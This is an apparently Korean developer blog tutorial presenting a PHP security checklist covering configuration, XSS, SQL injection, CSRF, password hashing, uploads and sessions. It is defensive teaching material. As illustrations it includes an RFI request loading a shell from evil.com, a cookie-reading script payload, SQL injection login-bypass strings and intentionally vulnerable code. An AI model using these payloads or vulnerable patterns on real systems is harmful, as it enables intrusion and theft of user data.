콘텐츠 대표 이미지 - PHP 웹 애플리케이션 보안 체크리스트: 야, 너두 해커 막을 수 있어!

PHP 웹 애플리케이션 보안 체크리스트:
야, 너두 해커 막을 수 있어!

코드는 예술이지만, 보안은 과학이야. 너의 소중한 프로젝트를 지키기 위한 필수 생존 가이드, 지금 바로 시작할게!

들어가며: 코딩만 잘하면 끝? 천만의 말씀!

안녕! 코딩에 죽고 코딩에 사는 우리 개발자 친구들. 오늘도 새로운 기능을 구현하고, 버그를 잡느라 여념이 없겠지? 맞아, 우리에게 코드와 로직은 숨 쉬는 것과 같아. 근데 말이야, 우리가 공들여 만든 이 멋진 웹 애플리케이션이 한순간에 와르르 무너질 수 있다면 어떨까?

상상만 해도 끔찍하지. 마치 몇 날 며칠 밤새워 만든 레고 성을 누가 발로 뻥 차버리는 기분일 거야. 해킹이 바로 그런 거야. 우리가 미처 신경 쓰지 못한 작은 보안 구멍 하나가 전체 시스템을 마비시키고, 소중한 사용자 데이터를 탈취당하는 대참사로 이어질 수 있어.

특히 PHP는 전 세계 웹사이트의 약 77% 이상을 차지할 만큼 엄청난 인기를 누리고 있어. 그만큼 공격자들의 주요 타겟이 되기도 쉽다는 뜻이지. "에이, 설마 내 작은 토이 프로젝트를 누가 공격하겠어?" 라고 생각할 수도 있지만, 해커들은 자동화된 스크립트로 인터넷에 연결된 모든 서버의 취약점을 24시간 내내 스캔하고 있어. 너의 프로젝트도 예외는 아니란 소리야.

그래서 준비했어. 이른바 **'PHP 웹 애플리케이션 보안 체크리스트'**. 이건 단순한 이론 설명서가 아니야. 네가 지금 당장 프로젝트에 적용할 수 있는, 실용적이고 현실적인 액션 아이템들로 꽉 채운 전투 교범 같은 거지. 이 글을 끝까지 따라오면, 너의 PHP 애플리케이션은 웬만한 공격에는 끄떡없는 강철 요새가 되어 있을 거야. 자, 그럼 스크롤 내릴 준비 됐지? Let's go!

Chapter 1. 기초공사: 서버와 PHP 설정, 보안의 첫 단추!

모든 것의 시작은 환경 설정이야. 아무리 견고한 코드를 짜도, 서버나 PHP 설정 자체가 허술하면 밑 빠진 독에 물 붓기나 다름없어. 해커에게 "어서 오세요, 여기 맛집입니다" 하고 광고하는 꼴이지. 자, `php.ini` 파일부터 열고 시작하자.

1-1. 에러 메시지, 해커에겐 보물지도: `display_errors = Off`

개발할 때는 에러 메시지를 화면에서 바로바로 확인하는 게 편하지. 하지만 운영 서버(실제 서비스 중인 서버)에서는 이게 완전 자살행위야. 왜냐고? PHP 에러 메시지에는 생각보다 훨씬 많은 정보가 담겨 있거든.

  • 파일 경로 노출: `Warning: include(/var/www/html/project/includes/db_connect.php): failed to open stream...` 이런 에러가 뜨면 해커는 너의 프로젝트 디렉토리 구조를 훤히 알게 돼.
  • 데이터베이스 정보: DB 연결 실패 시 에러 메시지에 DB 호스트, 사용자 이름, 심지어 어떤 DB를 쓰는지까지 노출될 수 있어.
  • 코드 로직 힌트: 특정 변수가 정의되지 않았다는 에러 등을 통해 해커는 너의 코드 로직을 유추할 수 있어.

이건 마치 도둑에게 우리 집 설계도랑 현관문 비밀번호 힌트를 던져주는 것과 같아. 그래서 운영 서버에서는 반드시 이 설정을 꺼야 해.

액션 아이템:
운영 서버의 `php.ini` 파일에서 `display_errors` 지시어를 찾아 값을 `Off`로 변경해줘.
; php.ini (Production Server)
display_errors = Off
그럼 에러는 어떻게 확인하냐고? 좋은 질문이야. 에러를 아예 무시하라는 게 아니야. 화면에 보여주지 말고, 파일에 기록하라는 거지. `log_errors = On`으로 설정하고 `error_log` 지시어에 로그 파일 경로를 지정해주면 돼. 이렇게 하면 너는 에러를 추적할 수 있고, 사용자와 해커는 아무것도 볼 수 없지. 완전 일석이조!
; php.ini (Production Server)
log_errors = On
error_log = /var/log/php/php_errors.log

1-2. "저 PHP 써요!" 광고 금지: `expose_php = Off`

웹 서버는 HTTP 응답 헤더에 다양한 정보를 담아 보내. 기본적으로 PHP는 "안녕! 나 PHP 8.1.5 버전이야!" 하고 동네방네 떠들고 다니는 설정이 켜져 있어. 이게 바로 `expose_php` 설정이야.

이게 왜 문제일까? 만약 PHP 8.1.5 버전에 치명적인 보안 취약점이 발견되었다고 가정해보자. 해커는 'Shodan' 같은 검색 엔진을 이용해서 `X-Powered-By: PHP/8.1.5` 헤더를 가진 서버만 쏙쏙 골라내서 공격을 시도할 거야. 굳이 우리의 기술 스택과 버전을 알려줘서 공격을 도와줄 필요는 없겠지?

액션 아이템:
`php.ini` 파일에서 `expose_php`를 찾아 `Off`로 설정해. 사소해 보이지만 보안의 기본은 '정보 은닉'이야.
; php.ini
expose_php = Off

1-3. 원격 파일 포함? 절대 금지!: `allow_url_include` & `allow_url_fopen`

PHP의 `include`나 `require`, `fopen` 같은 함수는 정말 편리해. 그런데 이 함수들이 로컬 파일뿐만 아니라 원격 URL에 있는 파일까지 불러올 수 있다면? 여기서 **RFI(Remote File Inclusion, 원격 파일 포함)**라는 무시무시한 공격이 시작돼.

예를 들어, 네 코드에 이런 부분이 있다고 쳐보자.

<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

정상적인 사용자는 `index.php?page=about` 처럼 사용하겠지. 하지만 해커는 `index.php?page=http://evil.com/shell` 처럼 악성 스크립트가 있는 URL을 `page` 파라미터에 넣어. 만약 `allow_url_include`가 `On`이라면? 너의 서버는 해커의 서버에 있는 악성 PHP 파일을 그대로 실행해버릴 거야. 그 순간 서버는 해커의 손에 넘어가게 되는 거지.

`allow_url_fopen`도 마찬가지야. `file_get_contents()` 같은 함수로 원격 서버의 내용을 읽어올 수 있게 하는데, 다른 취약점과 결합되면 심각한 문제를 일으킬 수 있어. 대부분의 웹 애플리케이션은 원격 URL을 파일처럼 다룰 필요가 없어. 필요하다면 cURL 라이브러리를 쓰는 게 훨씬 안전하고 좋은 방법이야.

경고! 강력 권장 사항:
`php.ini`에서 이 두 옵션은 무조건 `Off`로 설정해. 이건 타협의 여지가 없어.
; php.ini
allow_url_include = Off
allow_url_fopen = Off

1-4. 파일 권한, 문단속의 기본

리눅스 서버에서 파일과 디렉토리에는 '권한'이라는 게 있어. '읽기(r)', '쓰기(w)', '실행(x)' 권한을 '소유자(owner)', '그룹(group)', '그 외 사용자(others)'에게 각각 부여할 수 있지. 이걸 잘못 설정하면 큰일 나.

예를 들어, 웹 서버 데몬(Apache나 Nginx)이 실행되는 사용자(보통 `www-data` 또는 `apache`)가 모든 파일을 쓰고 수정할 수 있는 권한을 가진다면 어떨까? 만약 파일 업로드 취약점이라도 하나 발견되면, 해커는 이 권한을 이용해서 서버에 웹쉘(webshell)을 업로드하고 서버를 완전히 장악할 수 있어.

그래서 **'최소 권한의 원칙(Principle of Least Privilege)'**을 따라야 해. 즉, 꼭 필요한 만큼의 최소한의 권한만 부여하는 거지.

파일 권한(File Permissions)의 이해 디렉토리 (e.g., /uploads) 📂 권장: 755 소유자: rwx (7) 그룹: r-x (5) 기타: r-x (5) PHP 파일 (e.g., index.php) 📄 권장: 644 소유자: rw- (6) 그룹: r-- (4) 기타: r-- (4) 설정 파일 (e.g., config.php) 🔐 권장: 600 소유자: rw- (6) 그룹: --- (0) 기타: --- (0) r: 읽기(4), w: 쓰기(2), x: 실행(1) 권한의 합으로 숫자가 결정됩니다.
액션 아이템: SSH로 서버에 접속해서 다음 규칙을 적용해봐.
  • 디렉토리는 일반적으로 `755` 권한을 줘. (`chmod 755 directory_name`)
  • PHP 스크립트 파일은 `644` 권한을 줘. (`chmod 644 file.php`)
  • DB 정보 등 민감한 내용이 담긴 설정 파일은 `600` 권한을 줘서 소유자만 읽고 쓸 수 있게 해. (`chmod 600 config.php`)
  • 사용자가 파일을 업로드하는 디렉토리는 웹 서버 사용자가 쓸 수 있도록 권한을 줘야 하지만, 절대로 실행 권한(x)은 주면 안 돼!

Chapter 2. 입력값 검증: 해킹의 90%는 여기서 시작된다

보안의 제1원칙을 하나만 꼽으라면 난 주저 없이 이걸 말할 거야. **"절대 사용자 입력을 믿지 마라(Never Trust User Input)."**

사용자가 폼에 입력하는 데이터, URL의 쿼리 스트링, 쿠키 값, HTTP 헤더 등 클라이언트로부터 오는 모든 데이터는 잠재적인 공격 벡터야. 이걸 아무런 검증 없이 그대로 사용하면, 해커에게 대문을 활짝 열어주는 것과 같아. OWASP(오픈 웹 애플리케이션 보안 프로젝트)에서 매년 발표하는 10대 웹 취약점 목록의 단골손님들이 바로 이 입력값 검증 실패에서 비롯돼.

2-1. XSS (Cross-Site Scripting), 내 사이트가 피싱 사이트로?

XSS는 공격자가 웹 애플리케이션에 악성 스크립트를 삽입하고, 다른 사용자의 브라우저에서 그 스크립트가 실행되게 만드는 공격이야. 이걸로 뭘 할 수 있냐고?

  • 사용자의 세션 쿠키를 훔쳐서 계정을 탈취할 수 있어. (Session Hijacking)
  • 웹사이트의 내용을 변조하거나 가짜 로그인 폼을 보여줘서 개인정보를 빼낼 수 있어. (Phishing)
  • 사용자 브라우저를 좀비로 만들어 악성코드를 유포하거나 다른 곳을 공격하는 데 사용할 수 있어. (Drive-by-download)

예를 들어, 게시판에 글을 쓰는 기능을 생각해보자. 사용자가 입력한 내용을 아무런 처리 없이 그대로 데이터베이스에 저장하고, 다른 사용자가 그 글을 볼 때 그대로 출력해준다고 가정해봐.

취약한 코드 (Vulnerable Code):

<?php
    // 공격자가 입력한 악성 스크립트
    $comment = "<script>alert('XSS 공격 성공! 당신의 쿠키는? ' + document.cookie);</script>";
    
    // ... DB에 저장 후 ...

    // 다른 사용자가 볼 때 그대로 출력
    echo "<div>" . $comment . "</div>"; 
?>

위 코드가 실행되면, 이 페이지를 보는 모든 사용자의 화면에 'XSS 공격 성공!'이라는 경고창이 뜨고, 그들의 쿠키 정보가 노출될 거야. 만약 `alert()` 대신 쿠키를 해커의 서버로 전송하는 코드를 넣었다면? 생각만 해도 아찔하지.

그럼 어떻게 막아야 할까? 답은 간단해. **출력할 때 이스케이프(Escape) 처리**를 해주는 거야. 사용자가 입력한 내용에 포함된 HTML 태그나 스크립트 관련 특수문자들이 웹 브라우저에서 코드로 해석되지 않고, 그냥 평범한 텍스트로 보이게 만드는 거지.

PHP에는 이럴 때 쓰라고 만들어준 보석 같은 함수가 있어. 바로 `htmlspecialchars()` 야.

액션 아이템:
사용자로부터 입력받은 데이터를 브라우저에 출력하기 전, 반드시 `htmlspecialchars()` 함수를 사용해줘.

안전한 코드 (Secure Code):

<?php
    $comment = "<script>alert('XSS!');</script>";

    // htmlspecialchars()를 사용하여 이스케이프 처리!
    $safe_comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

    // 이제 안전하게 출력할 수 있다.
    echo "<div>" . $safe_comment . "</div>";
    // 출력 결과: <div>&lt;script&gt;alert('XSS!');&lt;/script&gt;</div>
    // 브라우저는 이걸 스크립트로 실행하지 않고, 문자열 그대로 보여준다.
?>

`ENT_QUOTES` 플래그는 작은따옴표(')와 큰따옴표(")를 모두 변환해줘서 더 안전해. 'UTF-8' 인코딩 지정은 멀티바이트 문자 깨짐을 방지하는 국룰이야.

더 나아가, **CSP(Content-Security-Policy)** HTTP 헤더를 설정하면 XSS 공격에 대한 방어력을 한층 더 높일 수 있어. CSP는 브라우저에게 "이 사이트에서는 내가 허용한 출처의 스크립트만 실행해!"라고 알려주는 규칙이야. 인라인 스크립트나 허용되지 않은 외부 스크립트 실행을 원천적으로 차단할 수 있지. 이건 좀 더 고급 주제지만, 알아두면 피가 되고 살이 되는 기술이야.

2-2. SQL Injection, 데이터베이스가 통째로 넘어간다!

SQL Injection(SQL 삽입)은 웹 보안의 '클래식'이자 '끝판왕'이라고 할 수 있어. 공격자가 입력값에 악의적인 SQL 구문을 삽입해서 데이터베이스를 비정상적으로 조작하는 공격이야. 성공하면 데이터베이스의 모든 정보를 훔치거나, 수정하거나, 심지어 삭제할 수도 있어. 서버 셸을 획득해서 시스템 전체를 장악하는 발판이 되기도 해.

가장 흔한 예는 로그인 로직이야. 아이디와 비밀번호를 받아서 SQL 쿼리를 만드는 코드를 한번 보자.

아주 위험한 로그인 코드 (Extremely Dangerous Code):

<?php
    $username = $_POST['username']; // 예: 'admin'
    $password = $_POST['password']; // 예: 'password123'

    // 입력값을 그대로 쿼리 문자열에 붙여넣고 있다!
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
    
    $result = mysqli_query($conn, $sql);
    // ...
?>

이 코드는 정상적으로 작동하는 것처럼 보여. 하지만 만약 해커가 `username` 입력란에 `admin' -- ` 라고 입력하면 어떻게 될까? (`--`는 SQL에서 주석을 의미해)

그러면 `$sql` 변수에 담기는 최종 쿼리는 이렇게 돼.

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'

데이터베이스는 `username`이 'admin'인지만 확인하고, 그 뒤 `AND password = ...` 부분은 주석으로 처리해서 무시해버려. 결국 비밀번호 없이 `admin` 계정으로 로그인이 성공하게 되는 거야! 만약 `username`에 `' OR '1'='1` 같은 걸 넣으면 모든 사용자 정보가 다 튀어나오겠지.

SQL Injection 공격 시나리오 😈 공격자 악의적 입력 로그인 폼 사용자 ID: admin' OR 1=1;-- 비밀번호: 악성 코드 삽입 💻 취약한 웹서버 $sql = "SELECT * FROM users WHERE id = ' $user ';" ⚠️ 입력값 검증 없음! SQL 쿼리 직접 결합 쿼리 실행 데이터베이스 🔓 전체 데이터 유출! 무단 접근 공격 단계별 설명: 1 공격자가 로그인 폼에 악성 SQL 코드 입력 2 서버가 입력값을 검증 없이 SQL 쿼리에 직접 삽입 3 변조된 쿼리가 실행되어 모든 사용자 정보 반환 실제 실행되는 SQL: SELECT * FROM users WHERE id = 'admin' OR 1=1;--' → OR 1=1 조건으로 모든 레코드 반환!

이걸 막는 방법은 단 하나야. **Prepared Statements (준비된 구문)**를 사용하는 것. 이건 마치 '틀'을 먼저 만들어놓고, 데이터는 나중에 '내용물'로 끼워 넣는 방식이야. SQL 쿼리의 구조(틀)와 사용자 입력(내용물)을 완전히 분리해서 처리하기 때문에, 사용자가 입력한 내용이 SQL 구문으로 해석될 여지를 원천적으로 차단해.

PHP에서는 **PDO(PHP Data Objects)**나 **MySQLi** 확장을 통해 Prepared Statements를 사용할 수 있어. 제발, 제발 `mysql_*` 계열의 옛날 함수는 쓰지 마. 걔네들은 보안에 취약하고 PHP 7.0부터는 아예 사라졌어.

액션 아이템:
모든 데이터베이스 쿼리는 반드시 Prepared Statements를 사용해서 작성해. 이건 선택이 아니라 필수야.

PDO를 사용한 안전한 코드 (The Right Way with PDO):

<?php
    // 1. 쿼리 템플릿(틀)을 준비한다. 값은 ? 플레이스홀더로 대체.
    $sql = "SELECT * FROM users WHERE username = ? AND status = ?";

    $stmt = $pdo->prepare($sql);

    // 2. 플레이스홀더에 실제 변수를 바인딩(연결)한다.
    //    이 단계에서 PDO가 알아서 모든 위험한 문자를 처리해준다.
    $username = $_POST['username'];
    $status = 'active';
    $stmt->bindParam(1, $username);
    $stmt->bindParam(2, $status);

    // 3. 쿼리를 실행한다.
    $stmt->execute();

    $user = $stmt->fetch();
    // ... 이제 안전하게 $user 변수를 사용할 수 있다.
?>

이렇게 하면 사용자가 `username`에 `' OR '1'='1` 같은 걸 입력해도, 그냥 문자열 ' OR '1'='1'을 가진 사용자를 찾으려고 할 뿐, 쿼리 구조가 바뀌지 않아. 이것이 바로 SQL Injection을 막는 가장 확실하고 표준적인 방법이야.

2-3. CSRF (Cross-Site Request Forgery), 내 이름으로 기부하기?

CSRF는 '사이트 간 요청 위조'라는 뜻이야. 사용자가 자신의 의지와는 상관없이 공격자가 의도한 행동(글쓰기, 회원정보 수정, 상품 주문 등)을 특정 웹사이트에 요청하게 만드는 공격이야.

이게 어떻게 가능할까? 시나리오를 한번 보자.

  1. 사용자는 A은행 사이트에 로그인해서 정상적으로 이용하고 있어. 브라우저에는 A은행의 로그인 정보가 담긴 쿠키가 저장되어 있겠지.
  2. 사용자가 이메일을 확인하다가 "무료 치킨 쿠폰 받기!" 같은 자극적인 제목의 이메일을 열어.
  3. 이메일 본문에는 `` 같은 코드가 숨겨져 있어.
  4. 사용자의 브라우저는 이 이미지를 로드하기 위해 `http://a-bank.com/...` 주소로 요청을 보내. 이때 브라우저는 아주 친절하게도 A은행의 로그인 쿠키를 함께 담아서 보내지.
  5. A은행 서버 입장에서는? 정상적인 사용자가 로그인된 상태에서 100만원을 해커에게 송금하라는 요청을 보낸 걸로 인식하고, 그대로 실행해버려! 사용자는 이미지가 깨진 것 정도로만 생각하고 아무것도 눈치채지 못해.

비밀번호 변경, 게시글 삭제 등 중요한 기능을 수행하는 요청이 GET 방식이고, 파라미터가 예측 가능하다면 CSRF 공격에 매우 취약해. POST 방식이라고 안전한 것도 아니야. 공격자는 가짜 폼을 만들어서 사용자가 버튼을 누르도록 유도할 수 있거든.

CSRF를 막는 가장 표준적인 방법은 **CSRF 토큰**을 사용하는 거야. 'Anti-CSRF Token'이라고도 부르지.

액션 아이템:
상태를 변경하는 모든 요청(POST, PUT, DELETE 등)에는 CSRF 토큰을 검증하는 로직을 추가해야 해.

동작 원리:

  1. 사용자가 중요한 작업을 하는 폼 페이지에 접근하면, 서버는 암호학적으로 안전한 난수(토큰)를 생성해서 세션에 저장해.
  2. 동시에 이 토큰을 폼 안에 `` 태그로 숨겨서 클라이언트에게 보내.
  3. 사용자가 폼을 제출(submit)하면, 숨겨진 토큰 값도 함께 서버로 전송돼.
  4. 서버는 폼으로 전송된 토큰과 세션에 저장해 뒀던 토큰을 비교해.
  5. 두 값이 일치하면? "아, 이건 정상적인 경로로 온 요청이구나!" 하고 승인. 일치하지 않으면? "이거 수상한데?" 하고 요청을 거부하는 거야.

간단한 CSRF 토큰 구현 예시:

<?php
// 1. 폼을 보여주는 페이지 (change_password_form.php)
session_start();

// 토큰 생성 및 세션에 저장
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];
?>

<form action="change_password_process.php" method="post">
    <!-- 2. 폼에 토큰 숨겨서 보내기 -->
    <input type="hidden" name="csrf_token" value="<?php echo $token; ?>">
    New Password: <input type="password" name="password">
    <input type="submit" value="Change">
</form>

<?php
// 3. 폼을 처리하는 페이지 (change_password_process.php)
session_start();

// 4. 세션의 토큰과 폼으로 넘어온 토큰 비교
if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    // 토큰이 없거나 일치하지 않으면 에러 처리
    die('CSRF 공격이 감지되었습니다!');
}

// 토큰이 유효하면 비밀번호 변경 로직 실행
// ...

// 한번 사용한 토큰은 삭제해서 재사용 방지
unset($_SESSION['csrf_token']);
?>

`hash_equals()` 함수는 두 문자열을 비교할 때 타이밍 공격(Timing Attack)에 안전하기 때문에 그냥 `==` 비교보다 훨씬 좋아. 꼭 기억해둬!

Chapter 3. 데이터 처리와 저장: 소중한 정보, 금고에 넣듯 다루기

사용자 입력값을 잘 막아냈다면, 이제 그 데이터를 안전하게 처리하고 저장할 차례야. 특히 비밀번호나 개인정보 같은 민감한 데이터는 더욱더 신중하게 다뤄야 해. 만약 데이터베이스가 털렸을 때, 모든 정보가 평문(Plain Text)으로 저장되어 있다면? 그건 재앙이야. 2차, 3차 피해로 이어질 수밖에 없어.

3-1. 비밀번호 저장의 국룰: `password_hash()`

아직도 비밀번호를 데이터베이스에 그대로 저장하거나, `md5()`나 `sha1()` 같은 구식 해시 함수를 쓰고 있다면... 지금 당장 멈춰! 이건 2024년에 폴더폰 쓰는 것보다 더 위험한 일이야.

**절대 비밀번호를 평문으로 저장하지 마.** 이건 그냥 범죄야.
**MD5, SHA1은 이제 비밀번호 저장용이 아니야.** 이 함수들로 생성된 해시는 '레인보우 테이블(Rainbow Table)'이라는 미리 계산된 해시값 목록을 통해 몇 초 만에 원본 비밀번호를 찾아낼 수 있어. 너무 빠르고 간단해서 보안 기능을 상실했어.

그럼 어떡해야 할까? 정답은 **'최신 보안 해시 알고리즘'**을 사용하는 거야. 그리고 PHP는 우리를 위해 완벽한 해결책을 마련해 뒀어. 바로 `password_hash()`와 `password_verify()` 함수야.

안전한 비밀번호 해싱 (password_hash) "password123" 사용자 입력 password_hash() DB에 저장되는 값 $2y$10$m/8...[아주 긴 문자열]... (알고리즘 + Cost + Salt + Hash) `password_hash()`는 자동으로 안전한 Salt를 생성하고, 최신 해시 알고리즘(BCRYPT)을 사용합니다. 로그인 시에는 `password_verify()` 함수로 검증합니다.

`password_hash()` 함수가 갓(God)인 이유:

  • **자동으로 강력한 해시 알고리즘 사용:** 현재 기본값은 BCRYPT인데, 이건 일부러 느리게 만들어져서 무차별 대입 공격(Brute-force attack)을 어렵게 해.
  • **자동으로 솔트(Salt) 생성 및 적용:** '솔트'는 해싱 전에 원본 비밀번호에 추가하는 랜덤 데이터야. 같은 비밀번호라도 솔트가 다르면 해시 결과가 완전히 달라져. 그래서 레인보우 테이블 공격을 무력화할 수 있지. `password_hash()`는 이 모든 걸 알아서 해줘.
  • **미래에도 안전:** 나중에 더 강력한 해시 알고리즘이 나오면, PHP가 업데이트될 때 `password_hash()`도 함께 업그레이드돼. 우리는 코드 수정 없이 더 안전한 기술의 혜택을 누릴 수 있어.
액션 아이템:
회원가입 시에는 `password_hash()`로 비밀번호를 해싱해서 저장하고, 로그인 시에는 `password_verify()`로 검증해.

회원가입 (Sign Up):

<?php
$passwordFromUser = 'my-super-secret-password';

// 비밀번호를 해싱한다. 두 번째 인자는 사용할 알고리즘 (PASSWORD_DEFAULT가 국룰)
$hashedPassword = password_hash($passwordFromUser, PASSWORD_DEFAULT);

// 이 $hashedPassword 값을 DB의 password 컬럼에 저장하면 된다.
// 예: $2y$10$m/8aJ.g...
?>

로그인 (Login):

<?php
$passwordFromUser = $_POST['password']; // 사용자가 로그인 폼에 입력한 비밀번호
$hashedPasswordFromDb = '...'; // DB에서 가져온 해시된 비밀번호

// password_verify()가 알아서 해시에 포함된 정보로 같은지 비교해준다.
if (password_verify($passwordFromUser, $hashedPasswordFromDb)) {
    echo '로그인 성공!';
    // 여기에 세션 생성 등 로그인 처리 로직을 넣는다.
} else {
    echo '비밀번호가 일치하지 않습니다.';
}
?>

만약 기존에 `md5` 같은 걸로 저장된 비밀번호가 있다면? 사용자가 다음에 로그인할 때 `password_verify()`로 검증이 성공하면, 그 즉시 `password_hash()`로 다시 해싱해서 DB를 업데이트해주는 로직을 추가하는 게 좋아. 이걸 '해시 리빌딩'이라고 해.

3-2. 파일 업로드, 잘못하면 서버가 통째로!

게시판 첨부파일, 프로필 사진 등 파일 업로드 기능은 아주 흔하지만, 보안 설정이 잘못되면 가장 치명적인 구멍이 될 수 있어. 공격자가 이미지 파일로 위장한 PHP 웹쉘(`shell.php.jpg` 같은)을 업로드하고, 그 파일에 직접 접근해서 실행할 수 있다면? 서버는 그냥 뺏기는 거야.

안전한 파일 업로드를 위한 체크리스트는 다음과 같아. 하나라도 빼먹으면 안 돼.

  1. 파일 확장자 검사 (Whitelist 방식): "이런 확장자는 안돼 (블랙리스트)"가 아니라, "이런 확장자만 돼 (화이트리스트)" 방식으로 가야 해. 예를 들어 이미지 업로드라면 `jpg`, `jpeg`, `png`, `gif`만 허용하는 거지. 블랙리스트 방식은 `pht`, `phtml`, `php5` 등 우회할 수 있는 확장자가 너무 많아서 위험해.
  2. 파일 이름 랜덤화: 사용자가 올린 파일 이름(`evil.php.jpg`)을 그대로 쓰지 마. `uniqid()`, `random_bytes()` 같은 함수를 써서 아무 의미 없는 랜덤한 파일명(예: `a1b2c3d4e5f6.jpg`)으로 바꿔서 저장해. 이렇게 하면 공격자가 업로드한 파일의 URL을 추측하기 어려워져.
  3. 업로드 디렉토리 위치: 가능하면, 파일을 웹 루트(Document Root) **바깥**에 저장하는 게 가장 안전해. 웹 루트 바깥에 있으면 사용자가 URL로 직접 파일에 접근할 수 없거든. 파일 다운로드는 PHP 스크립트를 통해서 스트리밍 방식으로 제공하면 돼.
  4. 업로드 디렉토리 권한: 만약 웹 루트 안에 업로드 디렉토리를 둬야 한다면, 해당 디렉토리의 실행(x) 권한을 반드시 제거해야 해. 그리고 웹 서버 설정(Apache의 `.htaccess`나 Nginx의 `location` 블록)을 통해 해당 디렉토리에서는 PHP 스크립트가 실행되지 않도록 막아야 해.
  5. PHP 함수 사용: `is_uploaded_file()` 함수로 HTTP POST로 업로드된 파일이 맞는지 먼저 확인하고, `move_uploaded_file()` 함수로 파일을 최종 목적지로 옮겨. 이 함수들은 추가적인 보안 검사를 수행해줘.
  6. 파일 크기 제한: 너무 큰 파일이 업로드되어 서버의 디스크 공간이나 메모리를 고갈시키는 서비스 거부(DoS) 공격을 막기 위해 합리적인 파일 크기 제한을 둬야 해.
액션 아이템:
파일 업로드 처리 시 위의 체크리스트를 모두 적용한 코드를 작성해.

안전한 파일 업로드 처리 로직 예시:

<?php
if (isset($_FILES['profile_image'])) {
    try {
        // 1. 기본 에러 체크
        if ($_FILES['profile_image']['error'] !== UPLOAD_ERR_OK) {
            throw new RuntimeException('파일 업로드 에러.');
        }

        // 2. 파일 크기 제한 (예: 5MB)
        if ($_FILES['profile_image']['size'] > 5 * 1024 * 1024) {
            throw new RuntimeException('파일 크기가 너무 큽니다.');
        }

        // 3. 확장자 화이트리스트 검사
        $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
        $fileExtension = strtolower(pathinfo($_FILES['profile_image']['name'], PATHINFO_EXTENSION));
        if (!in_array($fileExtension, $allowedExtensions)) {
            throw new RuntimeException('허용되지 않는 파일 형식입니다.');
        }

        // 4. 파일 이름 랜덤화 및 새 경로 생성
        // 웹 루트 바깥의 안전한 디렉토리
        $uploadPath = '/var/www/safe_uploads/' . bin2hex(random_bytes(16)) . '.' . $fileExtension;

        // 5. is_uploaded_file() 및 move_uploaded_file() 사용
        if (!is_uploaded_file($_FILES['profile_image']['tmp_name']) || !move_uploaded_file($_FILES['profile_image']['tmp_name'], $uploadPath)) {
            throw new RuntimeException('파일 저장에 실패했습니다.');
        }

        echo '파일 업로드 성공! 저장된 경로: ' . $uploadPath;

    } catch (RuntimeException $e) {
        echo $e->getMessage();
    }
}
?>

3-3. 세션 관리, 꼼꼼하게 챙기기

로그인 상태를 유지해주는 세션은 편리하지만, 관리를 잘못하면 '세션 하이재킹(Session Hijacking)' 공격의 빌미를 제공해. 공격자가 다른 사용자의 세션 ID를 훔쳐서 그 사람인 척 행세하는 거야.

안전한 세션 관리를 위한 핵심 포인트를 알아보자.

  • `session_regenerate_id(true)`: 사용자가 로그인에 성공하거나, 권한 등급이 바뀌는 등 중요한 상태 변화가 있을 때 이 함수를 호출해줘. 기존 세션 ID를 폐기하고 새로운 ID를 발급해서 '세션 고정(Session Fixation)' 공격을 막아줘.
  • 세션 쿠키 설정: `session_set_cookie_params()` 함수나 `php.ini`에서 세션 쿠키의 보안 옵션을 강화해야 해.
    • `secure`: `true`로 설정하면 HTTPS 연결에서만 쿠키가 전송돼. 중간자 공격(MITM)을 막기 위한 필수 옵션.
    • `httponly`: `true`로 설정하면 자바스크립트에서 `document.cookie`로 세션 쿠키에 접근할 수 없게 돼. XSS 공격으로 쿠키를 훔치는 걸 막는 데 아주 효과적이야.
    • `samesite`: `Strict` 또는 `Lax`로 설정해서 CSRF 공격을 방어하는 데 도움을 줄 수 있어.
  • 세션 타임아웃: 사용자가 오랫동안 아무 활동이 없으면 세션을 자동으로 만료시켜야 해. 공용 PC 등에서 로그아웃을 잊었을 때를 대비하는 거지.
액션 아이템:
PHP 스크립트 시작 부분, `session_start()`를 호출하기 전에 세션 관련 설정을 강화해줘.
<?php
// 30분(1800초) 동안 활동이 없으면 세션 만료
ini_set('session.gc_maxlifetime', 1800);
session_set_cookie_params(1800, '/', 'yourdomain.com', true, true); // secure, httponly 설정

session_start();

// 로그인 성공 후
if ($login_successful) {
    // 기존 세션 ID를 파기하고 새 ID를 발급
    session_regenerate_id(true); 
    $_SESSION['user_id'] = $user_id;
    $_SESSION['logged_in'] = true;
}
?>

Chapter 4. 인증과 권한 부여: "넌 누구냐? 그리고 뭘 할 수 있냐?"

보안의 큰 두 축은 **인증(Authentication)**과 **인가(Authorization)**야. 말이 좀 어려운데, 쉽게 말해볼게.

  • 인증 (Authentication): "네가 정말 네가 맞니?" 신원을 확인하는 과정이야. 로그인 기능이 대표적이지.
  • 인가 (Authorization): "네가 이걸 할 권한이 있니?" 신원이 확인된 사용자가 특정 리소스나 기능에 접근할 수 있는지 허락하는 과정이야. 관리자만 접근 가능한 페이지 같은 거지.

이 두 가지가 제대로 구현되지 않으면, 아무리 다른 보안을 잘해도 소용없어. 정문은 굳게 닫아놓고 뒷문은 활짝 열어놓은 셈이니까.

4-1. 인증: 뚫리지 않는 현관문 만들기

로그인 기능은 해커들의 단골 공격 포인트야. 어떻게든 남의 계정을 탈취하려고 혈안이 되어 있지. 이걸 막기 위한 방어 전략을 알아보자.

  • 무차별 대입 공격(Brute-force Attack) 방어:
    • 계정 잠금(Account Lockout): 일정 횟수(예: 5번) 이상 로그인에 실패하면 해당 계정을 일정 시간(예: 15분) 동안 잠가버리는 거야.
    • 요청 속도 제한(Rate Limiting): 특정 IP 주소에서 짧은 시간 안에 너무 많은 로그인 시도를 하면, 추가 요청을 차단하거나 지연시켜.
    • 캡차(CAPTCHA): "나는 로봇이 아닙니다" 체크박스나 그림 맞추기 같은 걸로 자동화된 스크립트의 공격을 막아.
  • 안전한 '비밀번호 재설정' 기능:

    "비밀번호 찾기" 기능은 또 다른 보안 구멍이 되기 쉬워. "당신이 졸업한 초등학교 이름은?" 같은 허술한 본인 확인 질문은 절대 쓰면 안 돼. 소셜 미디어만 조금 뒤져봐도 답을 알 수 있거든.

